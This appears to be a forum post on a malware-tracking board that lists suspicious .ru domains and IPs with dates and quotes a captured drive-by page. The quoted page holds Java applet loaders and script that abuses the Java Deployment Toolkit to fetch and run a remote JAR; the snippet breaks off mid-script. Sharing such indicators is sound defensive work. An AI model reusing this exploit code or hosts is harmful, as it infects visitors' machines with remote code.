I'm not sure if these domains are on the mdl, but I've seen hits on identical activity out of these domains with the associated dates if this helps the cause:
flowdisappear.ru / 82.211.7.32 (4/29)
passportblues.ru / 62.67.246.113 (5/5 + 5/12)
gigafleet.ru / 62.193.208.175 (5/6)
gothguilt.ru / 93.89.80.117 (5/13)
/ 85.17.137.40 (5/15) # didn't capture the URL in this request, but fits the profile.
valuablemind.ru / 85.17.19.26 (5/17)
All of the requests are similar:
<html><head><title>Bob's Homepage</title></head><body><applet width='100%' height='100%' code='iPhoneBook' archive='Games.jar'><param name='site' VALUE='Njg3NDc0NzAzQTJGMkY2NzZGNzQ2ODY3NzU2OTZDNzQyRTcyNzUzQTM4MzAzODMwMkY3NzY1NkM2MzZGNkQ2NTJFNzA2ODcwM0Y2OTY0M0QzMTMxMjY3MDY5NjQzRDMxMjYzMTNEMzEyNjY0'></applet><applet code='sunny.Changes.class' archive='NewGames.jar' width='254' height='186'><param name='data' VALUE='http://gothguilt.ru:8080/welcome.php?id=9&pid=1&1=1'><param name='cc' value='1'></applet><script>
var u = "http: -J-jar -J\\\\78.26.127.127\\public\\001.jar none";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
o.launch(u);
} else {
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);
Topic: .ru domains over port 8080 (Read 29217 times)
